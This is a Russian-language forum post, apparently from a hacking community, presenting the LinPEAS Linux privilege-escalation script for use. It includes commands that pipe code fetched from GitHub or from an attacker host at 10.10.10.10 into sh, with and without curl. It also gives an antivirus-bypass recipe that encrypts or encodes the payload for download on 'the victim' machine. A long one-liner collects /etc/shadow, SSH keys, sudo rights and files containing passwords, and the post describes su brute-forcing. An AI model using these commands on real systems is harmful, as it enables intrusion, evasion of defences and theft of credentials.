Что нового

Soft LinPEAS - Linux Privilege Escalation Awesome Script

Vander 0

Vander

Команда форума
10.11.2019
491
1 128
peass.png

LinPEAS - это скрипт, который ищет возможные пути повышения привилегий на хостах Linux/Unix*. Пояснения к методам и проверкам находится на book.hacktricks.xyz.

Ознакомится с контрольным списком методов повышения локальных привилегий Linux можно на сайте - book.hacktricks.xyz.

1596999339285.png

Quick Start

Код:
#From github
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
Код:
#Local network
sudo python -m SimpleHTTPServer 80
curl 10.10.10.10/linpeas.sh | sh

#Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh
cat < /dev/tcp/10.10.10.10/80 | sh
Код:
#Output to file
linpeas -a > /dev/shm/linpeas.txt
less -r /dev/shm/linpeas.txt #Read with colors
AV bypass

Код:
#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim

#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
Используйте параметр -a для выполнения всех этих проверок.

Basic Information

Цель этого скрипта - поиск возможных путей повышения привилегий (протестированных в Debian, CentOS, FreeBSD и OpenBSD).

Этот сценарий не имеет зависимостей.

Он использует синтаксис / bin / sh, поэтому может работать во всем, что поддерживает sh (а также используемые двоичные файлы и параметры).

По умолчанию linpeas ничего не записывает на диск и не пытается войти в систему как любой другой пользователь, использующий su.

По умолчанию выполнение linpeas занимает около 2 минут, но выполнение всех проверок с использованием параметра -a может занять от 4 до 5 минут (Рекомендуемый вариант для CTF):
  • От менее 1 минуты до 2 минут на выполнение почти всех проверок.
  • Почти 1 минута на поиск возможных паролей во всех доступных файлах системы.
  • 20 секунд на пользователя брутфорсом с паролем top2000 (требуется -a) - обратите внимание, что эта проверка достаточно заметная.
  • 1 мин для мониторинга процессов, чтобы найти очень частые задания cron (требуется -a) - обратите внимание, что эта проверка должна будет записать некоторую информацию в файл, который будет удален.
Прочие параметры:
  • -a (все проверки) - это также выполнит проверку процессов в течение 1 минуты, будет искать больше возможных хешей внутри файлов и подбирать всех пользователей, использующих su, с паролями - top2000.
  • -s (сверхбыстрый и скрытый) - Это позволит обойти некоторые трудоемкие проверки - Скрытый режим (ничего не будет записано на диск)
  • -P (пароль) - передать пароль, который будет использоваться с sudo -l и перебором других пользователей.
В этом скрипте есть несколько включенных списков, чтобы можно было раскрасить результаты и выделить вектор PE.

LinPEAS также экспортирует новую переменную PATH во время выполнения, если общие папки отсутствуют в исходной переменной PATH. Он также экспортирует и сбрасывает некоторые переменные среды во время выполнения, поэтому никакая команда, выполненная во время сеанса, не будет сохранена в файле истории (вы можете избежать этих действий, используя параметр -n).

1596999915326.png

Hosts Discovery and Port Scanning

С LinPEAS вы также можете автоматически обнаруживать хосты с помощью fping, ping и/или nc, а также сканировать порты с помощью nc.

LinPEAS автоматически найдет эти двоичные файлы в $ PATH и сообщит вам, доступен ли какой-либо из них. В этом случае вы можете использовать LinPEAS для обнаружения хостов и/или сканирования портов.

LinPEAS использует цвета, чтобы указать, где начинается каждый раздел. Но он также использует их для выявления потенциальных неправильных конфигураций.

Red/Yellow цвет используется для идентификации конфигураций, которые приводят к PE (уверенность 99%).
Red цвет используется для выявления подозрительных конфигураций, которые могут привести к PE:
  • Возможные эксплуатируемые версии ядра
  • Уязвимые версии sudo
  • Определить процессы, запущенные как root
  • Не смонтированные устройства
  • Опасные разрешения fstab
  • Записываемые файлы в интересных каталогах
  • Бинарные файлы SUID / SGID с какой-либо уязвимой версией (также указывается уязвимая версия)
  • Бинарные файлы SUDO, которые можно использовать для повышения привилегий в sudo -l (без passwd) (https://gtfobins.github.io/)
  • Проверьте /etc/doas.conf
  • 127.0.0.1 в netstat
  • Известные файлы, которые могут содержать пароли
  • Возможности в интересных двоичных файлах
  • Интересные возможности двоичного файла
  • Записываемые папки и карты в информации о заданиях cron
  • Папки для записи в PATH
  • Группы, которые могут вести к root
  • Файлы, которые могут содержать пароли
  • Подозрительные cronjobs
Green цвет используется для:
  • Общие процессы, выполняемые пользователем root
  • Обычные не интересные устройства для монтажа
  • Неопасные разрешения fstab
  • Общие двоичные файлы SUID / SGID (корзина уже была найдена на других машинах, и searchsploit не идентифицирует уязвимую версию)
  • Общие файлы .sh в пути
  • Общие имена пользователей, выполняющих процессы
  • Общие cronjobs
Blue цвет используется для:
  • Пользователи без оболочки
  • Установленные устройства
Light Cyan цвет используется для:
  • Пользователи с оболочкой
Light Magenta цвет используется для:
  • Текущее имя пользователя
One liner

Здесь у вас есть скрипт старой версии linpe в одну строку, просто скопируйте и вставьте его.

Цветовая фильтрация в однострочном режиме недоступна (списки слишком большие).

Этот однострочник устарел (я не собираюсь его больше обновлять), но в некоторых случаях он может быть полезен, поэтому останется здесь:

Файл по умолчанию, в который записываются все данные: /tmp/linPE (вы можете изменить его в начале скрипта)

Код:
file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find  /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup  2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l;
What does linpeas look for
  • System Information
    • SO & kernel version
    • Sudo version
    • PATH
    • Date
    • System stats
    • Environment vars
    • AppArmor, grsecurity, Execshield, PaX, SElinux, ASLR
    • Printers
    • Dmesg (signature verifications)
    • Container?
  • Devices
    • sd* in /dev
    • Unmounted filesystems
  • Available Software
    • Useful software
    • Installed compilers
  • Processes, Cron, Services, Timers & Sockets
    • Cleaned processes
    • Binary processes permissions
    • Different processes executed during 1 min
    • Cron jobs
    • Services (list, writable .service, writable services binaries, systemd path, service binaries using relative path)
    • All timers (list, writable .timer, writable binaries, relative paths)
    • Sockets
    • D-Bus
  • Network Information
    • Hostname, hosts & dns
    • Content of /etc/inetd.conf
    • Networks and neighbours
    • Iptables rules
    • Active ports
    • Sniff permissions (tcpdump)
  • Users Information
    • Info about current user
    • PGP keys
    • sudo -l without password
    • doas config file
    • Pkexec policy
    • Try to login using su as other users (using as passwords: null pass, username, reverse username, and top2000pwds)
    • List of superusers
    • List of users with console
    • Login info (now, last logons, last time each user)
    • List of all users
    • Clipboard and highlighted text
    • Password policy
  • Software Information
    • MySQl (Version, user being configured, loging as "root:root","root:toor","root:", user hashes extraction via DB and file, possible backup user configured, credentials in config, cmd exec library)
    • PostgreSQL (Version, try login in "template0" and "template1" as: "postgres:", "psql:", file DBs, Config)
    • Apache (Version)
    • PHP cookies
    • Wordpress (Database credentials)
    • Tomcat (Credentials)
    • Mongo (Version, Credentials)
    • Supervisor (Credentials)
    • Cesi (Credentials)
    • Rsyncd (Credentials)
    • Hostapd (Credentials)
    • Wifi (Credentials)
    • Anaconda-ks (Credentials)
    • VNC (Credentials)
    • LDAP database (Credentials)
    • Open VPN files (Credentials)
    • SSH (private keys, known_hosts, authorized_hosts, authorized_keys, main config parameters in sshd_config, certificates, agents)
    • PAM-SSH (Unexpected "auth" values)
    • Cloud Credentials (credenals-AWS-, credentials.gb-GC-, legacy_credentials-GC-, access_tokens.db-GC-, accessTokens.json-Azure-, azureProfile.json-Azure-)
    • NFS (privilege escalation misconfiguration)
    • Kerberos (configuration & tickets in /tmp)
    • Kibana (credentials)
    • Logstash (Username and possible code execution)
    • Elasticseach (Config info and Version via port 9200)
    • Vault-ssh (Config values, secrets list and .vault-token files)
    • screen and tmux sessions
    • Couchdb
    • Redis
    • Dovecot
    • Mosquitto
    • Neo4j
    • Cloud-Init
    • Erlang Cookie
    • GVM config
    • IPSEC files
  • Generic Interesting Files
    • SUID & SGID files
    • Capabilities
    • /etc/ld.so.conf.d/
    • Users with capabilities
    • Files with ACLs
    • .sh scripts in PATH
    • scripts in /etc/profile.d
    • Hashes (passwd, group, shadow & master.passwd)
    • Credentials in fstab
    • Try to read root dir
    • Files owned by root inside /home
    • List of readable files belonging to root and not world readable
    • Files modified in the last 5 minutes
    • Log files (logrotten)
    • Others files inside a folder owned by the current user
    • Reduced list of files inside my home and /home
    • Mail applications
    • Mails
    • Backup files
    • DB files
    • Web files
    • Files that can contain passwords (and search for passwords inside *_history files)
    • List of all hidden files
    • List ALL writable files for current user (global, user and groups)
    • Inside /tmp, /var/tmp and /var/backups
    • Password ins config PHP files
    • Get IPs, passwords and emails from logs
    • password or credential files in home
    • "pwd" and "passw" inside files (and get most probable lines)
    • Check for posible variable names containing credentials in files
    • Find "username" in fils
    • Specific hashes (blowfish, joomla&vbulletin, phpbb3, wp, drupal, linuxmd5, apr1md5, sha512crypt, apachesha)
    • Generic hashes MD5, SHA1, SHA256, SHA512
Страница инструмента на GitHub - https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

Спасибо за внимание, материал подготовлен специально для protey.net
 
Последнее редактирование:
Верх Низ